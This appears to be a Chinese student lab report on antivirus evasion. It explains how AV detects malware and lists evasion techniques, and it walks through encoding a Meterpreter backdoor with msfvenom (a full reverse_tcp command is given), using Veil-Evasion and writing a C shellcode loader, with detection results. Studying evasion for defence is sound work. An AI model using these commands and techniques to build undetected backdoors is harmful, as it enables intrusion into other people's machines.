免杀原理与实践

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

免杀原理与实践
xp3 免杀原理与实践
⼀、实践内容
1.正确使⽤msf编码器,msfvenom⽣成如jar之类的其他⽂件,veil-evasion,⾃⼰利⽤shellcode编程等免杀⼯具或技巧;
2.通过组合应⽤各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语⾔描述原理,不要截图。

与杀软共⽣的结果验证要截图。


3.⽤另⼀电脑实测,在杀软开启的情况下,可运⾏并回连成功,注明电脑的杀软名称与版本
⼆、基础问题回答
1.杀软是如何检测出恶意代码的?
基于特征码的检测
启发式恶意软件的检测
基于⾏为的恶意软件检测。

2.免杀是做什么?
⼀般是对恶意软件做处理,让它不被杀毒软件所检测。

也是渗透测试中需要使⽤到的技术。

要做好免杀,就时清楚杀毒软件(恶意软件检测⼯具)是如何⼯作的。

AV(Anti-virus)是很⼤⼀个产业。

其中主要的技术⼈员基本有编制恶意软件的经验。

反过来也⼀样,了解了免杀的⼯具和技术,你也就具有了反制它的基础。

3.免杀的基本⽅法有哪些?
就常见恶意软件⽽⾔,⼀般AV的检出率为40%-98%。

就算你⽤了最好的AV,恶意软件依然有1/50的概率通过检测。

这个概率还可以,貌似多试⼏种恶意软件就可以了。

那免杀的⽅法当然是针对检测技术的。

--
所以总体技术有:
改变特征码
如果你⼿⾥只有EXE
加壳:压缩壳加密壳
有shellcode(像Meterpreter)
⽤encode进⾏编码
基于payload重新编译⽣成可执⾏⽂件
有源代码
⽤其他语⾔进⾏重写再编译(veil-evasion)
--
改变⾏为
通讯⽅式
尽量使⽤反弹式连接
使⽤隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加⼊混淆作⽤的正常功能代码
--
免杀就是让安插的后门不被AV软件发现。

除了直接使⽤现有后门软件外,还有⼀些⽅式,在实际中也有⽤。

⾮常规⽅法
使⽤⼀个有漏洞的应⽤当成后门,编写攻击代码集成到如MSF中。

使⽤社⼯类攻击,诱骗⽬标关闭AV软件。

纯⼿⼯打造⼀个恶意软件
--
留后门的思路是这样的:
你写⼀个有漏洞的软件,开⼀个服务端⼝。

这个软件本⾝没问题。

然后如果这个端⼝被攻击,就可以获得系统控制权。

通过meterpreter这种驻留内存的payload,AV软件很难检出。

这样的⼩漏洞程序⼤家也有做,⾃⼰攻击⾃⼰还是很容易的。

当然最好的⽅法,还是⼿⼯打造,⾃⼰从头编⼀个,没有通⽤⼯具的特征,AV软件也就杀不出来了。

从头打造当然是相当有难度的,但我们可以利⽤Metasploit已有的payload来半⼿⼯的打造,效果也不错
实验步骤:
⼀:利⽤上次实验的后门程序,⽤msf对其进⾏编码:
Msfvenom是Metasploit平台下⽤来编码payloads免杀的⼯具。

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.30.3126 LPORT=1120 -f exe
>xm1120_backdoor.exe
上进⾏检测,我选择了后⼀个中⽂⽹站结果如下
使⽤msf编码⼗次:
效果⼀如既往的被查杀,曝光率没变。

⼆:使⽤Veil-Evasion
是⼀个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。

免杀效果⽐较好。

官⽹上有视频教程。

结果呢,⽣成了⼀个,上传测试,virustoal检出为19/57。

Veil-evasion是⽤其他语⾔如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同⽅式编译成exe,共性特征⽐较少。

在cd veil 时,若找不到veild的路径,
输⼊:whereis veil即可
接下来
建议⼤家⽤流量,因为在这⼀步时特别缓慢,要下载很⼤的内容,
在装python时我很奇怪它的默认安装路径时以windows系统的c:\........开始的,我觉得既然是在linux下开始的话,也应该是root/....很奇怪,更让我⽣⽓地是装了veil后,我的msf不能⽤了,捣⿎了⼀整天,我的kali崩了,然⽽之前我把⾃⼰的快照失⼿删了,完蛋。

哟:牺牲的msf:
还好我装了两个kali。

已经牺牲了⼀个,让我觉得。

⼼累
继续:输⼊veil:
然后,按照提⽰步骤来呗
选择 28
出现了分歧:选1呢还是2呢,都试试吧
貌似1有问题嘞
所以选2
但这两个都没产⽣.exe⽂件,我也不明吧,我觉得很可能是python没安装成功的问题,在博客中有⼈说⽤c,我试了试,
然⽽,没⽤的啦,依旧被360发现,但是曝光率降低了
三:⽤c调⽤msf⽣成的shellcode编写后门程序进⾏测试
我⽤的是codeblock编译的,没有⽤vs
部分代码影藏
最初时,没有被360发现,但是过了⼀天,就被360发现删除了。

这个⽅法好啊,曝光率最低,挺好的。

最初时,没有被360发现,但是过了⼀天,就被360发现删除了。

四.加壳
呵呵,没⽤啊!
很奇怪啊,⽹站上的360没有检验出这是病毒,但是我电脑上的360发现了?什么情况
实验体会:
我觉得,这次实验原理很易懂,但操作有些复杂,不知为啥,强⼤的杀毒软件将我击败了,其实在前⼏天,360是没发现veil编码以及c调
⽤shellcode 的免杀⽅式的,只不过当我处理其他事情的时候,360后来才发现的,导致我没能逃掉免杀,这也说明,当出现新的病毒时,杀毒软件有⼀段滞后期,若⿊客能在滞后期期间完成攻击任务,杀毒软件便没了意义。

所以还是要加强安全意识,不要下载陌⽣程序代码,毕竟在滞后期内,杀软⽆能为⼒。

此外,总的来说,国内的杀软还是360好⼀点。

嗯,没⽑病
但是我牺牲了⼀个kali,这让我⽆语,只好从头再来了。

相关文档
最新文档